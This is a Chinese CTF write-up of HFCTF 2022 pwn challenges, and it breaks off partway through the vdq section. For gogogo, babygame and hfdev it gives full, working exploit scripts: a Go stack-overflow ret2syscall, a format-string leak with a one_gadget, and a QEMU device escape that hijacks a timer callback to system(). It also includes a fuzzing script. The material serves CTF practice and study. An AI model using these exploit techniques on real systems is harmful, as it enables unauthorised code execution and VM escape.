虎符2022 pwn 复现

HFCTF

没空去结束了之后简单做了一下pwn

gogogo

go写的,不太会分析,首先运行起来,搜索 LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF! 能找到 main_main 但是断点下来没有用,搜了一下一个go程序的启动过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
// The main goroutine.
func main() {
g := getg()

// Racectx of m0->g0 is used only as the parent of the main goroutine.
// It must not be used for anything else.
g.m.g0.racectx = 0

// Max stack size is 1 GB on 64-bit, 250 MB on 32-bit.
// Using decimal instead of binary GB and MB because
// they look nicer in the stack overflow failure message.
if goarch.PtrSize == 8 {
maxstacksize = 1000000000
} else {
maxstacksize = 250000000
}

// An upper limit for max stack size. Used to avoid random crashes
// after calling SetMaxStack and trying to allocate a stack that is too big,
// since stackalloc works with 32-bit sizes.
maxstackceiling = 2 * maxstacksize

// Allow newproc to start new Ms.
mainStarted = true

if GOARCH != "wasm" { // no threads on wasm yet, so no sysmon
systemstack(func() {
newm(sysmon, nil, -1)
})
}

// Lock the main goroutine onto this, the main OS thread,
// during initialization. Most programs won't care, but a few
// do require certain calls to be made by the main thread.
// Those can arrange for main.main to run in the main thread
// by calling runtime.LockOSThread during initialization
// to preserve the lock.
lockOSThread()

if g.m != &m0 {
throw("runtime.main not on m0")
}

// Record when the world started.
// Must be before doInit for tracing init.
runtimeInitTime = nanotime()
if runtimeInitTime == 0 {
throw("nanotime returning zero")
}

if debug.inittrace != 0 {
inittrace.id = getg().goid
inittrace.active = true
}

doInit(&runtime_inittask) // Must be before defer.

// Defer unlock so that runtime.Goexit during init does the unlock too.
needUnlock := true
defer func() {
if needUnlock {
unlockOSThread()
}
}()

gcenable()

main_init_done = make(chan bool)
if iscgo {
if _cgo_thread_start == nil {
throw("_cgo_thread_start missing")
}
if GOOS != "windows" {
if _cgo_setenv == nil {
throw("_cgo_setenv missing")
}
if _cgo_unsetenv == nil {
throw("_cgo_unsetenv missing")
}
}
if _cgo_notify_runtime_init_done == nil {
throw("_cgo_notify_runtime_init_done missing")
}
// Start the template thread in case we enter Go from
// a C-created thread and need to create a new thread.
startTemplateThread()
cgocall(_cgo_notify_runtime_init_done, nil)
}

doInit(&main_inittask)

// Disable init tracing after main init done to avoid overhead
// of collecting statistics in malloc and newproc
inittrace.active = false

close(main_init_done)

needUnlock = false
unlockOSThread()

if isarchive || islibrary {
// A program compiled with -buildmode=c-archive or c-shared
// has a main, but it is not executed.
return
}
fn := main_main // make an indirect call, as the linker doesn't know the address of the main package when laying down the runtime
fn()
if raceenabled {
racefini()
}

// Make racy client program work: if panicking on
// another goroutine at the same time as main returns,
// let the other goroutine finish printing the panic trace.
// Once it does, it will exit. See issues 3934 and 20018.
if atomic.Load(&runningPanicDefers) != 0 {
// Running deferred functions should not take long.
for c := 0; c < 1000; c++ {
if atomic.Load(&runningPanicDefers) == 0 {
break
}
Gosched()
}
}
if atomic.Load(&panicking) != 0 {
gopark(nil, nil, waitReasonPanicWait, traceEvGoStop, 1)
}

exit(0)
for {
var x *int32
*x = 0
}
}

于是决定去看一下 runtime.main ,然后就可以找到一个里面一堆 printf 的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  runtime_startTemplateThread();
runtime_cgocall(error_code, v9);
LABEL_15:
runtime_doInit(error_code);
LOBYTE(off_580800) = 0;
v10 = runtime_closechan(error_codec);
v11 = 0;
runtime_unlockOSThread();
if ( !byte_58054C && !byte_58054E )
{
math_init(); // <--- 这里
if ( !off_5805AC || !off_5805AC )
{
if ( off_5805A4 )
runtime_gopark(error_codea, v10);
runtime_exit(0);
while ( 1 )
MEMORY[0] = 0;
}
v13 = 0LL;
runtime_mcall(error_codea);
}
v12 = 0;
(*v16)();
}

里面每一个printf都打印单个字符(所以搜那个字符串定位不到这个函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
while ( (unsigned __int64)&v156 <= *(_QWORD *)(v0 + 16) )
runtime_morestack_noctxt();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();

然后输入1416925456就可以进入一个猜数字游戏

1
2
3
4
5
6
7
8
9
10
else if ( v2 != 1416925456 )
{
fmt_Fprintf();
fmt_Fprintf();
v67 = fmt_Fprintf();
v222 = &unk_49D7C0;
v223 = &off_4CFC10;
fmt_Fprintln(v67);
return;
}

go的题目多半都是溢出,在这个函数里搜索一下read,scanf等等相关内容可以注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000000000494AE2                 lea     rax, unk_49D900
.text:0000000000494AE9 mov ebx, 800h
.text:0000000000494AEE mov rcx, rbx
.text:0000000000494AF1 call runtime_makeslice
.text:0000000000494AF6 lea rbx, [rsp+4C0h+var_460]
.text:0000000000494AFB mov rax, qword ptr cs:unk_5514E0
.text:0000000000494B02 mov ecx, 800h <--- 栈溢出
.text:0000000000494B07 mov rdi, rcx
.text:0000000000494B0A call bufio__ptr_Reader_Read
.text:0000000000494B0F movzx edx, byte ptr [rsp+4C0h+var_460]
.text:0000000000494B14 cmp dl, 79h ; 'y'
.text:0000000000494B17 jz short loc_494B35
.text:0000000000494B19 cmp dl, 59h ; 'Y'
.text:0000000000494B1C jz short loc_494B35
.text:0000000000494B1E xchg ax, ax
.text:0000000000494B20 call runtime_arg
.text:0000000000494B25 mov rbp, [rsp+4C0h+var_8]
.text:0000000000494B2D add rsp, 4C0h
.text:0000000000494B34 retn

接下来就是怎么达到这里

1
2
3
4
5
6
.text:0000000000491E85                 lea     rcx, aDDDD      ; "%d %d %d %d"
.text:0000000000491E8C mov edi, 0Bh
.text:0000000000491E91 mov r8d, 4
.text:0000000000491E97 mov r9, r8
.text:0000000000491E9A lea rax, off_4D0340
.text:0000000000491EA1 call fmt_Fscanf

依次输入四个数字就可以开始猜,然后搜索一下Bulls and Cows游戏,返回正确且位置正确的个数和正确但位置错误的个数,能写个简单的猜测算法(其实也不用,自己玩完再send payload就好了)
开graph view开一下,溢出点在EXIT的位置,输入EXIT选项之后就可以传payload

算法也很容易,先生成一个全部的可能选取集合,然后抽一个数输入,得到 bulls and cows的值,将现在的输入和集合内的数进行比较,如果bull和cow都相同,就说明这个是可选项,反复操作,直到只剩下一个选项即可。

最后直接ret2syscall即可,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from ntpath import join
import readline
from pwn import *
import random
import math

# Bull and Cow game solver
class Solver:
ans_length = 4
candidates = []

def fill_candidates(self):
for i in range(10):
for j in range(10):
for k in range(10):
for l in range(10):
if i == j or i == k or i == l or j == k or j == l or k == l:
continue
self.candidates.append(str(i) + str(j) + str(k) + str(l))

def __init__(self):
self.fill_candidates()
# print(self.candidates)

def solve(self, sh):
while len(self.candidates): # still have candidates
# randomly pick a candidate
candidate = random.choice(self.candidates)
# split candidate into 4 digits
guess = candidate[0] + ' ' + candidate[1] + ' ' + candidate[2] + ' ' + candidate[3]
# send guess to server
sh.sendline(guess.encode())
# get response from server
response = sh.recvline().decode()
if response.find('WIN') != -1:
return guess
bulls = int(response[0])
cows = int(response[2])
new_candidates = []
for k in self.candidates:
b = 0
c = 0
for i in range(self.ans_length):
if k[i] == candidate[i]:
b += 1
for j in range(self.ans_length):
if k[i] == candidate[j]:
c += 1
c = c - b
if b == bulls and c == cows:
new_candidates.append(k)
self.candidates = new_candidates
log.info("{} {} {}".format(guess, ':', response))
log.info('Answer: {}'.format(self.candidates[0]))


sh = process('./gogogo')

sh.sendlineafter(b'NUMBER:', b'1416925456')

sh.recvuntil(b'GUESS\n')

solver = Solver()
solver.solve(sh)
time.sleep(1)

sh.sendline(b"EXIT")
time.sleep(1)

sh.sendline(b"4")
time.sleep(1)

'''
.text:000000000047CF00 call sub_45D5C0
.text:000000000047CF05 mov rdi, [rsp+arg_8] 0x10
.text:000000000047CF0A mov rsi, [rsp+arg_10] 0x18
.text:000000000047CF0F mov rdx, [rsp+arg_18] 0x20
.text:000000000047CF14 mov rax, [rsp+arg_0] 0x8
.text:000000000047CF19 syscall ; LINUX -
'''

payload = cyclic_metasploit(1120)
payload += p64(0x000000000045C900) # runtime.read
payload += p64(0x0000000000402e7b) # add rsp 0x30; nop; ret;
payload += p64(0x0) # fd
payload += p64(0x552A00) # bss
payload += p64(0x8) # count
payload += p64(0xc0ffee) # pop rax; ret;
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x3b) # sys_execve;
payload += p64(0x552A00) # bss
payload += p64(0x0) # rsi
payload += p64(0x0) # rdi

#gdb.attach(sh, 'b *0x000000000045C900')

sh.sendline(payload)
time.sleep(1)
sh.recvuntil(b'BYE~')
sh.sendline(b'/bin/sh\x00')

sh.interactive()
#sh.sendlineafter()

hfdev

这个感觉最麻烦的地方是没有DeviceState的符号,但是应该很容易可以注意到在 hfdev_process

1
2
3
4
5
6
7
8
9
10
if ( (unsigned __int64)(unsigned __int16)result > *(_QWORD *)(a1 + 2672) )
LOWORD(result) = *(_QWORD *)(a1 + 2672);
v10 = (unsigned __int16)result;
result = 0LL;
do
{
*(_BYTE *)(a1 + result + 3720) ^= *(_BYTE *)(a1 + result + 2703);
++result;
}
while ( v10 >= (int)result );

这一部分的>=很可能会导致一个byte的溢出,
接下来分析realize函数,注意到

1
2
3
v2 = g_malloc0(48LL);
timer_init_full(v2, 0, 1, 1, 0, (unsigned int)hfdev_func, (__int64)v1);
v1[563] = v2;

v1[563] 处存放了一个QEMUTimer,回调函数为 hfdev_func
然后

1
2
3
v3 = qemu_bh_new_full(hfdev_process, v1, "hfdev_process");
v1[561] = 1LL;
v1[564] = v3;

v1[564]处存放了一个qemu bottom half,结构体如下

1
2
3
4
5
6
7
8
9
struct QEMUBH {
AioContext *ctx;
QEMUBHFunc *cb; // callback, 触发时调用
void *opaque;
QEMUBH *next;
bool scheduled;
bool idle;
bool deleted;
};

1
2
3
4
5
6
7
8
9
10
11
static gboolean
aio_ctx_dispatch(GSource *source,
GSourceFunc callback,
gpointer user_data)
{
AioContext *ctx = (AioContext *) source;

assert(callback == NULL);
aio_dispatch(ctx);
return true;
}

aio_dispatch 会调用 aio_bh_poll,其中会调用 aio_bh_call 执行bottom half的callback
以及 hfdev_port_write

1
2
3
case 12LL:
qemu_bh_schedule(*((_QWORD *)a1 + 564));
break;

qemu_bh_schedule 会执行 aio_notify,所以 case 12:的时候会触发这个bh callback

1
2
3
v1[335] = 0LL;
memory_region_init_io(v1 + 300, v1, hfdev_ioport_ops, v1, "hfdev-pmio", 32LL);
return pci_register_bar(a1, 0LL, 1LL, v1 + 300);

然后就是init pmio,大小32 bytes。接下来分析 hfdev_process 函数

1
2
3
4
5
6
7
8
9
10
11
12
case 0x30:
result = *(unsigned __int16 *)&a1->pad3[41];
v11 = *(unsigned __int16 *)&a1->pad3[43];
if ( (unsigned __int16)result <= 0x100u && (unsigned __int16)v11 <= 0x100u )
{
v12 = *(_QWORD *)&a1->pad3[1832] == 0LL;
*(_QWORD *)&a1->pad3[24] = result;
*(_QWORD *)&a1->pad3[1840] = (char *)v1 + v11;
if ( !v12 )
return timer_mod(a1->timer, *(_QWORD *)&a1->pad3[32]);
}
break;

case 0x30:的时候会调用timer_mod

1
2
3
4
5
6
7
8
9
10
11
12
/**
* timer_mod:
* @ts: the timer
* @expire_time: the expire time in the units associated with the timer
*
* Modify a timer to expiry at @expire_time, taking into
* account the scale associated with the timer.
*
* This function is thread-safe but the timer and its timer list must not be
* freed while this function is running.
*/
void timer_mod(QEMUTimer *ts, int64_t expire_timer);

可以知道这会触发之前的timer,也就是会接着调用hfdev_func,其中会修改state->pad3[1832],所以根据v12的值,只能调用一次,同时可以注意到,hfdev_func

1
2
3
4
5
6
7
8
v1 = *(_QWORD *)&a1->pad3[24];
*(_QWORD *)&a1->pad3[1832] = 0LL;
if ( v1 <= 0x100 )
{
memcpy(&a1->pad3[*(_QWORD *)&a1->pad3[16] + 1064], *(const void **)&a1->pad3[1840], v1);
result = *(_QWORD *)&a1->pad3[24];
*(_QWORD *)&a1->pad3[16] += result;
}

a1>pad3[16]不会被置0,所以如果能够多次触发,就能实现越界读写。注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
case 0x10:
v9 = *(_WORD *)&a1->pad3[43];
result = *(unsigned __int16 *)&a1->pad3[45];
if ( v9 == 8706 )
{
v13 = 512;
if ( (unsigned __int16)result <= 0x200u )
v13 = *(unsigned __int16 *)&a1->pad3[45];
if ( (_WORD)result )
{
v14 = (unsigned __int16)v13;
v15 = a1->pad3[41];
v16 = a1->pad3[42];
result = (__int64)&a1->pad3[47];
v17 = &a1->pad3[v13 - 1 + 48];
do
{
v18 = *(_BYTE *)result++;
*(_BYTE *)(result + 1016) = v16 ^ (v15 + v18);
*(_QWORD *)&a1->pad3[16] = v14;
}
while ( v17 != (char *)result );
}
}

可以先让a1->pad3[16]=512,第一次触发timer时,a1->pad3[16]+=0x100,也就是a1->pad3[16]=768,而上面1 byte溢出的溢出地址就是由a1->pad3[16]控制的,这个时候可以溢出到
a1->pad3[1832]也就是控制timer是否能够触发的标志位,就能实现多次触发时钟。因为能够多次触发时钟,所以我们可以获得一个很大范围的数据的读取,再看hfdev_processcase 0x20:的部分(这里还原了一些符号)

1
2
3
4
5
6
case 0x20:
v7 = *(unsigned __int16 *)&a1->control.field_9[2];
copy_cursor = a1->copy_cursor;
if ( v7 > copy_cursor )
v7 = (unsigned __int16)copy_cursor;
return cpu_physical_memory_rw(*(_QWORD *)&a1->control.fn1, (__int64)a1->pad3, v7, 1u);

这里可以让我们把数据读取回一个给定的物理地址,而v7是我们可控的长度

1
*(_QWORD *)&a1->pad3[1840] = (char *)v1 + v11;

对比这个*(_QWORD *)&a1->pad3[1840],就是timer callback中的src地址,我们可以泄漏这个地址(v1 + v11,符号化之后即为hfdev_state中控制结构体的起始地址加上第二个参数)。这个地址在堆区,可以先泄漏这个地址,然后计算出timer的地址。虽然在case 0x20:v11的大小做了检查,但是由于之前增加了cursor导致我们使用hfdev_processhfdev_func都能够访问更大的范围,所以在触发timer,callback还未执行前,可以重新利用0x2022功能修改掉hfdev_func中的复制目标,正好,在hfdev_port_writecase 0x10:中就有能够修改callback触发延迟的功能。

1
2
3
case 10LL:
a1->time = qemu_clock_get_ns(1LL) + 100000000 * a3;
break;

这样我们就可以在触发前利用溢出,将bh->cb或者timer->cb复制到timer(这时的cursor指向timer)上,接下来就可以计算pie偏移,程序基址,system plt等等。

然后根据得到的地址,我们可以伪造一个timer,因为我们之前已经得到了发送的control结构的地址,而这个结构中有一块很大的buffer,足够构造一个fake timer (或者fake bh也可以) 将这个timer的callback设置为system,并且opaque设置为命令的地址,这样该指针就会被rdi寄存器传递,然后触发timer即可(注意fake timer也要有timer_list)完整exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/io.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

#define PMIO_BASE 0x000000000000c040

struct Control
{
char switcher;
__attribute__((packed)) __attribute__((aligned(1))) uint16_t fn1;
__attribute__((packed)) __attribute__((aligned(1))) uint16_t fn2;
__attribute__((packed)) __attribute__((aligned(1))) uint16_t fn3;
char field_9[1017];
};

int fd;

uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

uint64_t pmio_read(uint64_t port)
{
uint64_t val;
val = inw(PMIO_BASE + port);
return val;
}

void pmio_write(uint64_t port, uint64_t val)
{
outw(val, PMIO_BASE + port);
}

void trigger_process(void)
{
pmio_write(12, 0);
}

int main(int argc, char **argv)
{
int ret = 0;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
perror("open");
exit(1);
}
iopl(3);

struct Control *control = (struct Control *)malloc(sizeof(struct Control));
uint32_t control_paddr = gva_to_gpa(control);
printf("[*] control_paddr: 0x%x\n", control_paddr);

// set addr
pmio_write(2, control_paddr & 0xffff);
pmio_write(4, (control_paddr >> 16) & 0xffff);

uint64_t timer_enabled = pmio_read(6);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
uint64_t copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);

// set copy control len to 0x400
pmio_write(6, 0x400);

// now set cursor to 0x200
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2202;
control->fn3 = 0x200;
trigger_process();
sleep(1);

printf("[*] trigger timer\n");
// now trigger timer, cursor should be 0x300 after timer callback
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x100;
control->fn2 = 0;
trigger_process();
sleep(1);

// check timer_enabled
timer_enabled = pmio_read(6);
assert(timer_enabled == 0);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);

/*
do
{
a1->pad3[result] ^= *((_BYTE *)&a1->control.fn3 + result);
++result;
}
while ( v10 >= (int)result );
// v10 = 0x300 now, and timer_enabled is located at a1->pad3[0x300]
// so we set field_9 + 0x300 to 0x1, and trigger hfdev_process (case 0x10)
// then we can flip the timer_enabled bit and trigger timer callback again.
*/
printf("[*] flip timer_enabled\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2022;
control->fn3 = 0x300;
control->field_9[0x300] = 0x1;
trigger_process();
printf("[*] waiting...\n");
sleep(3);

// check timer_enabled
timer_enabled = pmio_read(6);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
printf("[+] enable timer again!\n");
copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
sleep(1);

// trigger timer again
printf("[*] trigger timer again\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x10;
control->fn2 = 0x0;
trigger_process();
for (int i = 0; i < 3; i++)
{
printf("[*] waiting...\n");
sleep(3);
}

// set copy src to struct Control
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x0;
control->fn2 = 0x0;
trigger_process();
sleep(1);

timer_enabled = pmio_read(6);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);

// leak timer address
char *buf = (char *)malloc(0x1000);
uint32_t buf_paddr = gva_to_gpa(buf);
printf("[*] buf: 0x%llx buf_paddr: 0x%x\n", buf, buf_paddr);
memset(control, 0, sizeof(*control));
control->switcher = 0x20;
*((uint32_t *)&(control->fn1)) = buf_paddr;
*(uint16_t *)&control->field_9[2] = 0x310;
trigger_process();
sleep(5);

// char *buf = (char *)malloc(0x1000);
// uint32_t buf_paddr = gva_to_gpa(buf);
uint64_t control_addr = *(uint64_t *)&buf[0x308];
printf("[+] control_addr: 0x%llx\n", control_addr);
uint64_t timer = control_addr + 0x12b8;
uint64_t bh = control_addr + 0x12f8;
uint64_t timer_list = control_addr - 0x1110b98;
printf("[+] timer: 0x%llx bh: 0x%llx timer_list: 0x%llx\n", timer, bh, timer_list);

// flip timer_enabled
printf("[*] flip timer_enabled\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2022;
control->fn3 = 0x300;
control->field_9[0x300] = 0x1;
trigger_process();
printf("[*] waiting...\n");
sleep(3);

// check timer_enabled
timer_enabled = pmio_read(6);
assert(timer_enabled > 0);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);

// set timer delay
pmio_write(10, 0x150);
sleep(1);

// trigger timer again
printf("[*] trigger timer again\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x8; // cursor = 0x318
control->fn2 = 0x0; // this will overwrite timer pointer
trigger_process(); // so don't trigger timer until construct a fake timer
sleep(1);

// overwrite copy src to bh
printf("[*] overwrite copy src to timer\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0x0;
control->fn2 = 0x2022;
control->fn3 = 0x30f; // don't overflow to bh
*(uint64_t *)&control->field_9[0x308] = ((bh + 0x10) ^ control_addr);

trigger_process();
sleep(1);

printf("[*] waiting...");
for (int i = 0; i < 12; ++i)
{
printf(".");
sleep(3);
}
printf("\n");

printf("[*] copy timer\n");
memset(buf, 0, 0x1000);
memset(control, 0, sizeof(*control));
control->switcher = 0x20;
*((uint32_t *)&(control->fn1)) = buf_paddr;
*(uint16_t *)&control->field_9[2] = 0x318;
trigger_process();
sleep(5);

uint64_t hfdev_process = *(uint64_t *)&buf[0x310];
uint64_t hfdev_func = hfdev_process + 0x1c0;
uint64_t base_addr = hfdev_process - 0xb0fd0;
uint64_t slide = hfdev_process - 0x380fd0;
uint64_t system_plt = slide + 0x2d6610;
printf("[+] hfdev_process: 0x%llx\n", hfdev_process);
printf("[+] hfdev_func: 0x%llx\n", hfdev_func);
printf("[+] base_addr: 0x%llx\n", base_addr);
printf("[+] slide: 0x%llx\n", slide);
printf("[+] system_plt: 0x%llx\n", system_plt);

// flip timer_enabled
printf("[*] flip timer_enabled\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2022;
control->fn3 = 0x300;
control->field_9[0x300] = 0x1;
trigger_process();
printf("[*] waiting...\n");

printf("[*] overwrite timer to fake timer\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0x0;
control->fn2 = 0x2022;
control->fn3 = 0x317; // don't overflow to bh
*(uint64_t *)&control->field_9[0x310] = ((control_addr + 0x10) ^ hfdev_process);
trigger_process();
sleep(1);

struct FakeTimer
{
int64_t expire_time;
void *timer_list;
void *cb;
void *opaque;
void *next;
int attributes;
int scale;
};
struct FakeTimer ft = {
.expire_time = 0x100,
.timer_list = timer_list,
.cb = system_plt,
.opaque = 0x0,
.next = 0x0,
.attributes = 0x0,
.scale = 0x0,
};
pmio_write(10, 0x10);
// copy fake timer to control
uintptr_t ftaddr = (uintptr_t)(((uint64_t)control) + 0x10);
memcpy((void *)ftaddr, &ft, sizeof(ft));
struct FakeTimer *fake_timer = (struct FakeTimer *)((((uint64_t)control) + 0x10));
fake_timer->opaque = (void *)(control_addr + 0x100);
printf("[*] set fake_timer->opaque: 0x%llx\n", fake_timer->opaque);
strcpy((char *)(((uint64_t)control) + 0x100), "ls -al");

sleep(1);
// trigger timer again
printf("[*] trigger timer again\n");
control->switcher = 0x30;
control->fn1 = 0x8;
control->fn2 = 0x0;
trigger_process();

sleep(1);
while(1) { }

return 0;
}

总体思路不难,但细节需要考虑一下,如果缺少对qemu方面的基本了解的话,逆向可能会有点麻烦。

babygame

确实是最简单的,第一个栈溢出泄漏一个栈地址,然后用字符串格式化泄漏canary和libc,改返回地址到main,再次栈溢出跳转one gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

arr = [0, 0, 2, 1, 2, 0, 1, 0, 0, 1, 2, 2, 0, 2, 1, 1, 1, 2, 1, 0, 0, 0, 1, 0, 1, 2, 2, 0, 1, 2, 2, 0, 1, 1, 2, 1, 1, 2, 1, 0, 0, 2, 1, 0, 2, 2, 1, 2, 1, 2, 1, 1, 1, 1, 0, 0, 0, 1, 2, 0, 1, 1, 1, 1, 0, 2, 2, 0, 1, 2, 0, 0, 2, 1, 0, 0, 0, 0, 1, 1, 2, 1, 1, 0, 1, 2, 0, 1, 0, 2, 0, 0, 0, 0, 1, 2, 2, 0, 2, 2, ]

sh = process('./babygame')

libc = ELF('./libc-2.31.so')

payload1 = b"A"*(256) + b"A"*0x8 + b"A"*0x8
sh.recvuntil(b"Please input your name:")
sh.send(payload1)
sh.recvuntil(b'A'*(256+0x8+0x8))

stackaddr = u64(sh.recv(6).ljust(8, b'\x00'))
target = stackaddr - 0x218
log.success("stackaddr: " + hex(stackaddr))

for i in arr:
sh.recvuntil(b":")
sh.sendline(str(i).encode())

sh.recvuntil(b"you.\n")
sh.sendline(b"%13$p%5219x%10$hn%27$paaa%29$paa"+p64(target)+p64(target))

log.info("back to main if we are lucky")

r1 = sh.recv(18)
canary = int(r1, 16)
r1 = sh.recvuntil(b'0x')
r1 = "0x"+sh.recv(12).decode()
# print(r1)
atoiaddr = int(r1, 16)
libcbase = atoiaddr - 0x445f4
r1 = sh.recvuntil(b'aaa')
r1 = sh.recv(14)
paddr = int(r1, 16)
programbase = paddr - 0x12ef
onegadget = libcbase + 0xe3b31
log.success("canary: {}".format(hex(canary)))
log.success("atoiaddr: {}".format(hex(atoiaddr)))
log.success("libcbase: {}".format(hex(libcbase)))
log.success("programbase: {}".format(hex(programbase)))
log.success("onegadget: {}".format(hex(onegadget)))

payload = b"AAAA\x00\x00\x00\x00" + 35 * p64(canary)
payload += b'AAAAAAAA'
payload += p64(onegadget)

time.sleep(1)
sh.send(payload)
time.sleep(1)
sh.sendline(b'0')

sh.interactive()

vdq

rust写的,不太懂,ida分析出来非常复杂,对rust字符串的分析稍微有点问题(因为字符串结尾的问题),经过逆向分析,程序需要用["op1", "op2", "op3"]\n$这样的方式输入,没有去除符号,所以能直接确定op的类型,有add,remove,view,append,archive,并且add,append需要数据输入。

因为输入很简单,但整个程序分析起来很复杂,先选择fuzz一下,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random
from subprocess import PIPE, STDOUT
from psutil import Popen
from pwn import *
import string

op = ["\"Add\"", "\"Remove\"", "\"Append\"", "\"View\"", "\"Archive\""]

while True:

opcnt = random.randint(0, 30)
oplist = "["
inputline = ""
linecnt = 0
for i in range(opcnt):
opindex = random.randint(0, len(op) - 1)
oplist += op[opindex]
if opindex == 0 or opindex == 2:
inputline += str(cyclic_metasploit(random.randint(0, 100)).decode())+"\n"
if i != opcnt - 1:
oplist += ", "
else:
oplist += "]"
oplist += "\n$\n"
# write to input file
with open("input", "w") as f:
f.write(oplist)
f.write(inputline)

cmd = 'cat input | RUST_BACKTRACE=1 ./vdq'
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
output, err = p.communicate()
if "Aborted" in output.decode():
print(output.decode())
break

很快找到了一个double free,简化一下获得的poc

1
2
3
4
5
